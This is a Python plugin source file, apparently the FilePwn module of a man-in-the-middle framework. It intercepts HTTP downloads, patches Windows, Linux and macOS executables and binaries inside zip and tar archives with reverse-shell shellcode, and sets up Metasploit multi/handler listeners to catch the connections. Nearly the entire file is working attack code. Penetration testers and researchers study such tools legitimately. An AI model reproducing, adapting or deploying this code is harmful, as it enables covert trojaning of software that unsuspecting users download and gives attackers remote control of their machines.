#!/usr/bin/env python2.7 # Copyright (c) 2014-2016 Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # #--------------------------------------------------------------------------------# # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' # # Author Joshua Pitts the.midnite.runr 'at' gmail com # # Copyright (c) 2013-2014, Joshua Pitts # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # Tested on Kali-Linux. (and Arch Linux) import sys import os import pefile import zipfile import logging import shutil import tempfile import random import string import threading import multiprocessing import tarfile import magic from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin from plugins.plugin import Plugin from tempfile import mkstemp class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.patched = multiprocessing.Queue() from core.msfrpc import Msf self.msf = Msf() self.binaryMimeType = {'mimes': ['application/octet-stream', 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream', 'application/x-executable', 'application/x-dosexec']} self.zipType = {'mimes': ['application/x-zip-compressed', 'application/zip'], 'params': {'type': 'ZIP', 'format': 'zip', 'filter': None}} # .zip self.gzType = {'mimes': ['application/gzip', 'application/x-gzip', 'application/gnutar'], 'params': {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'}} # .gz self.tarType = {'mimes': ['application/x-tar'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': None}} # .tar self.bzType = {'mimes': ['application/x-bzip2', 'application/x-bzip'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': 'bzip2'}} # .bz / .bz2 self.archiveTypes = [self.zipType, self.gzType, self.tarType, self.bzType] #FilePwn options self.set_config() self.parse_target_config(self.user_config['targets']['ALL']) self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) t = threading.Thread(name='setup_msf', target=self.setup_msf) t.setDaemon(True) t.start() def setup_msf(self): for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" self.msf.sendcommand(cmd) def on_config_change(self): self.initialize(self.options) def str2bool(self, val): if val.lower() == 'true': return True elif val.lower() == 'false': return False else: return None def inject(self, data): if len(data) > self.archive_max_size: self.log.error("{0} over allowed size".format(self.archive_type)) return data buf = None if self.archive_type == "ZIP": buf = self.inject_zip(data) elif self.archive_type == "TAR": buf = self.inject_tar(data, self.archive_params['filter']) return buf def inject_tar(self, aTarFileBytes, formatt=None): # When called will unpack and edit a Tar File and return a tar file" tmp_file = tempfile.NamedTemporaryFile() tmp_file.write(aTarFileBytes) tmp_file.seek(0) compression_mode = ':' if formatt == 'gzip': compression_mode = ':gz' if formatt == 'bzip2': compression_mode = ':bz2' try: tar_file = tarfile.open(fileobj=tmp_file, mode='r' + compression_mode) except tarfile.ReadError as ex: self.log.warning(ex) tmp_file.close() return aTarFileBytes self.log.info("TarFile contents and info (compression: {0}):".format(formatt)) members = tar_file.getmembers() for info in members: print "\t{0} {1}".format(info.name, info.size) new_tar_storage = tempfile.NamedTemporaryFile() new_tar_file = tarfile.open(mode='w' + compression_mode, fileobj=new_tar_storage) patch_count = 0 was_patched = False for info in members: self.log.info(">>> Next file in tarfile: {0}".format(info.name)) if not info.isfile(): self.log.warning("{0} is not a file, skipping".format(info.name)) new_tar_file.addfile(info, tar_file.extractfile(info)) continue if info.size >= long(self.FileSizeMax): self.log.warning("{0} is too big, skipping".format(info.name)) new_tar_file.addfile(info, tar_file.extractfile(info)) continue # Check against keywords if self.check_keyword(info.name.lower()) is True: self.log.info('Tar blacklist enforced on {0}'.format(info.name)) continue # Try to patch extracted_file = tar_file.extractfile(info) if patch_count >= self.archive_patch_count: self.log.info("Met archive config patchCount limit. Adding original file") new_tar_file.addfile(info, extracted_file) else: # create the file on disk temporarily for fileGrinder to run on it with tempfile.NamedTemporaryFile() as tmp: shutil.copyfileobj(extracted_file, tmp) tmp.flush() patch_result = self.binaryGrinder(tmp.name) if patch_result: patch_count += 1 file2 = os.path.join(BDFOLDER, os.path.basename(tmp.name)) self.log.info("{0} in archive patched, adding to final archive".format(info.name)) info.size = os.stat(file2).st_size with open(file2, 'rb') as f: new_tar_file.addfile(info, f) os.remove(file2) was_patched = True else: self.log.info("{0} patching failed. Keeping original file.".format(info.name)) with open(tmp.name, 'rb') as f: new_tar_file.addfile(info, f) # finalize the writing of the tar file first new_tar_file.close() if was_patched is False: # If nothing was changed return the original self.log.info("No files were patched. Forwarding original file") new_tar_storage.close() # it's automatically deleted return aTarFileBytes # then read the new tar file into memory new_tar_storage.seek(0) buf = new_tar_storage.read() new_tar_storage.close() # it's automatically deleted return buf def inject_zip(self, aZipFile): # When called will unpack and edit a Zip File and return a zip file tmp_file = tempfile.NamedTemporaryFile() tmp_file.write(aZipFile) tmp_file.seek(0) zippyfile = zipfile.ZipFile(tmp_file.name, 'r') # encryption test try: zippyfile.testzip() except RuntimeError as e: if 'encrypted' in str(e): self.log.warning("Encrypted zipfile found. Not patching.") else: self.log.warning("Zipfile test failed. Returning original archive") zippyfile.close() tmp_file.close() return aZipFile self.log.info("ZipFile contents and info:") for info in zippyfile.infolist(): print "\t{0} {1}".format(info.filename, info.file_size) tmpDir = tempfile.mkdtemp() zippyfile.extractall(tmpDir) patch_count = 0 was_patched = False for info in zippyfile.infolist(): self.log.info(">>> Next file in zipfile: {0}".format(info.filename)) actual_file = os.path.join(tmpDir, info.filename) if os.path.islink(actual_file) or not os.path.isfile(actual_file): self.log.warning("{0} is not a file, skipping".format(info.filename)) continue if os.lstat(actual_file).st_size >= long(self.FileSizeMax): self.log.warning("{0} is too big, skipping".format(info.filename)) continue # Check against keywords if self.check_keyword(info.filename.lower()) is True: self.log.info('Zip blacklist enforced on {0}'.format(info.filename)) continue if patch_count >= self.archive_patch_count: self.log.info("Met archive config patchCount limit. Adding original file") break else: patch_result = self.binaryGrinder(actual_file) if patch_result: patch_count += 1 file2 = os.path.join(BDFOLDER, os.path.basename(info.filename)) self.log.info("Patching complete, adding to archive file.") shutil.copyfile(file2, actual_file) self.log.info("{0} in archive patched, adding to final archive".format(info.filename)) os.remove(file2) was_patched = True else: self.log.error("{0} patching failed. Keeping original file.".format(info.filename)) zippyfile.close() if was_patched is False: self.log.info("No files were patched. Forwarding original file") tmp_file.close() shutil.rmtree(tmpDir, ignore_errors=True) return aZipFile zip_result = zipfile.ZipFile(tmp_file.name, 'w', zipfile.ZIP_DEFLATED) for base, dirs, files in os.walk(tmpDir): for afile in files: filename = os.path.join(base, afile) zip_result.write(filename, arcname=filename.replace(tmpDir + '/', '')) zip_result.close() # clean up shutil.rmtree(tmpDir, ignore_errors=True) with open(tmp_file.name, 'rb') as f: zip_data = f.read() tmp_file.close() return zip_data def binaryGrinder(self, binaryFile): """ Feed potential binaries into this function, it will return the result PatchedBinary, False, or None """ with open(binaryFile, 'r+b') as f: binaryTMPHandle = f.read() binaryHeader = binaryTMPHandle[:4] result = None try: if binaryHeader[:2] == 'MZ': # PE/COFF pe = pefile.PE(data=binaryTMPHandle, fast_load=True) magic = pe.OPTIONAL_HEADER.Magic machineType = pe.FILE_HEADER.Machine # update when supporting more than one arch if (magic == int('20B', 16) and machineType == 0x8664 and self.WindowsType.lower() in ['all', 'x64']): add_section = False cave_jumping = False if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': add_section = True elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': cave_jumping = True # if automatic override if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': cave_jumping = True targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx64['SHELL'], HOST=self.WindowsIntelx64['HOST'], PORT=int(self.WindowsIntelx64['PORT']), ADD_SECTION=add_section, CAVE_JUMPING=cave_jumping, IMAGE_TYPE=self.WindowsType, RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), PATCH_DLL=self.str2bool(self.WindowsIntelx64['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], ZERO_CERT=self.str2bool(self.WindowsIntelx64['ZERO_CERT']), PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower(), SUPPLIED_BINARY=self.WindowsIntelx64['SUPPLIED_BINARY'], ) result = targetFile.run_this() elif (machineType == 0x14c and self.WindowsType.lower() in ['all', 'x86']): add_section = False cave_jumping = False # add_section wins for cave_jumping # default is single for BDF if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': add_section = True elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': cave_jumping = True # if automatic override if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': cave_jumping = True add_section = False targetFile = pebin.pebin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.WindowsIntelx86['SHELL'], HOST=self.WindowsIntelx86['HOST'], PORT=int(self.WindowsIntelx86['PORT']), ADD_SECTION=add_section, CAVE_JUMPING=cave_jumping, IMAGE_TYPE=self.WindowsType, RUNAS_ADMIN=self.str2bool(self.WindowsIntelx86['RUNAS_ADMIN']), PATCH_DLL=self.str2bool(self.WindowsIntelx86['PATCH_DLL']), SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], ZERO_CERT=self.str2bool(self.WindowsIntelx86['ZERO_CERT']), PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower(), SUPPLIED_BINARY=self.WindowsIntelx86['SUPPLIED_BINARY'], XP_MODE=self.str2bool(self.WindowsIntelx86['XP_MODE']) ) result = targetFile.run_this() elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) targetFile.support_check() if targetFile.class_type == 0x1: # x86CPU Type targetFile = elfbin.elfbin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.LinuxIntelx86['SHELL'], HOST=self.LinuxIntelx86['HOST'], PORT=int(self.LinuxIntelx86['PORT']), SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], IMAGE_TYPE=self.LinuxType ) result = targetFile.run_this() elif targetFile.class_type == 0x2: # x64 targetFile = elfbin.elfbin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.LinuxIntelx64['SHELL'], HOST=self.LinuxIntelx64['HOST'], PORT=int(self.LinuxIntelx64['PORT']), SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], IMAGE_TYPE=self.LinuxType ) result = targetFile.run_this() elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) targetFile.support_check() # ONE CHIP SET MUST HAVE PRIORITY in FAT FILE if targetFile.FAT_FILE is True: if self.FatPriority == 'x86': targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() elif self.FatPriority == 'x64': targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx86['SHELL'], HOST=self.MachoIntelx86['HOST'], PORT=int(self.MachoIntelx86['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': targetFile = machobin.machobin(FILE=binaryFile, OUTPUT=os.path.basename(binaryFile), SHELL=self.MachoIntelx64['SHELL'], HOST=self.MachoIntelx64['HOST'], PORT=int(self.MachoIntelx64['PORT']), SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], FAT_PRIORITY=self.FatPriority ) result = targetFile.run_this() return result except Exception as e: self.log.error("Exception in binaryGrinder {0}".format(e)) return None def set_config(self): try: self.user_config = self.config['FilePwn'] self.host_blacklist = self.user_config['hosts']['blacklist'] self.host_whitelist = self.user_config['hosts']['whitelist'] self.keys_blacklist = self.user_config['keywords']['blacklist'] self.keys_whitelist = self.user_config['keywords']['whitelist'] except Exception as e: self.log.error("Missing field from config file: {0}".format(e)) def set_config_archive(self, ar): try: self.archive_type = ar['type'] self.archive_blacklist = self.user_config[self.archive_type]['blacklist'] self.archive_max_size = int(self.user_config[self.archive_type]['maxSize']) self.archive_patch_count = int(self.user_config[self.archive_type]['patchCount']) self.archive_params = ar except Exception as e: raise Exception("Missing {0} section from config file".format(e)) def hosts_whitelist_check(self, req_host): if self.host_whitelist.lower() == 'all': self.patchIT = True elif type(self.host_whitelist) is str: if self.host_whitelist.lower() in req_host.lower(): self.patchIT = True self.log.info("Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, req_host)) elif req_host.lower() in self.host_whitelist.lower(): self.patchIT = True self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) else: for keyword in self.host_whitelist: if keyword.lower() in req_host.lower(): self.patchIT = True self.log.info("Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, req_host)) break def keys_whitelist_check(self, req_url, req_host): # Host whitelist check takes precedence if self.patchIT is False: return None if self.keys_whitelist.lower() == 'all': self.patchIT = True elif type(self.keys_whitelist) is str: if self.keys_whitelist.lower() in req_url.lower(): self.patchIT = True self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) elif req_host.lower() in [x.lower() for x in self.keys_whitelist]: self.patchIT = True self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) else: for keyword in self.keys_whitelist: if keyword.lower() in req_url.lower(): self.patchIT = True self.log.info("Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, req_url)) break def keys_backlist_check(self, req_url, req_host): if type(self.keys_blacklist) is str: if self.keys_blacklist.lower() in req_url.lower(): self.patchIT = False self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) else: for keyword in self.keys_blacklist: if keyword.lower() in req_url.lower(): self.patchIT = False self.log.info("Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, req_url)) break def hosts_blacklist_check(self, req_host): if type(self.host_blacklist) is str: if self.host_blacklist.lower() in req_host.lower(): self.patchIT = False self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) elif req_host.lower() in [x.lower() for x in self.host_blacklist]: self.patchIT = False self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) else: for host in self.host_blacklist: if host.lower() in req_host.lower(): self.patchIT = False self.log.info("Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, req_host)) break def parse_target_config(self, targetConfig): for key, value in targetConfig.items(): if hasattr(self, key) is False: setattr(self, key, value) self.log.debug("Settings Config {0}: {1}".format(key, value)) elif getattr(self, key, value) != value: if value == "None": continue # test if string can be easily converted to dict if ':' in str(value): for tmpkey, tmpvalue in dict(value).items(): getattr(self, key, value)[tmpkey] = tmpvalue self.log.debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue)) else: setattr(self, key, value) self.log.debug("Updating Config {0}: {1}".format(key, value)) def response(self, response, request, data): content_header = response.responseHeaders.getRawHeaders('Content-Type')[0] client_ip = request.client.getClientIP() host = request.headers['host'] if not response.responseHeaders.hasHeader('content-length'): content_length = None else: content_length = int(response.responseHeaders.getRawHeaders('content-length')[0]) for target in self.user_config['targets'].keys(): if target == 'ALL': self.parse_target_config(self.user_config['targets']['ALL']) if target in request.headers['host']: self.parse_target_config(self.user_config['targets'][target]) self.hosts_whitelist_check(host) self.keys_whitelist_check(request.uri, host) self.keys_backlist_check(request.uri, host) self.hosts_blacklist_check(host) if content_length and (content_length >= long(self.FileSizeMax)): self.clientlog.info("Not patching over content-length, forwarding to user", extra=request.clientInfo) self.patchIT = False if self.patchIT is False: self.clientlog.info("Config did not allow patching", extra=request.clientInfo) else: mime_type = magic.from_buffer(data, mime=True) if mime_type in self.binaryMimeType['mimes']: tmp = tempfile.NamedTemporaryFile() tmp.write(data) tmp.flush() tmp.seek(0) patchResult = self.binaryGrinder(tmp.name) if patchResult: self.clientlog.info("Patching complete, forwarding to user", extra=request.clientInfo) bd_file = os.path.join('backdoored', os.path.basename(tmp.name)) with open(bd_file, 'r+b') as file2: data = file2.read() file2.close() os.remove(bd_file) else: self.clientlog.error("Patching failed", extra=request.clientInfo) # add_try to delete here tmp.close() else: for archive in self.archiveTypes: if mime_type in archive['mimes'] and self.str2bool(self.CompressedFiles) is True: try: self.set_config_archive(archive['params']) data = self.inject(data) except Exception as exc: self.clientlog.error(exc, extra=request.clientInfo) self.clientlog.warning("Returning original file", extra=request.clientInfo) return {'response': response, 'request': request, 'data': data}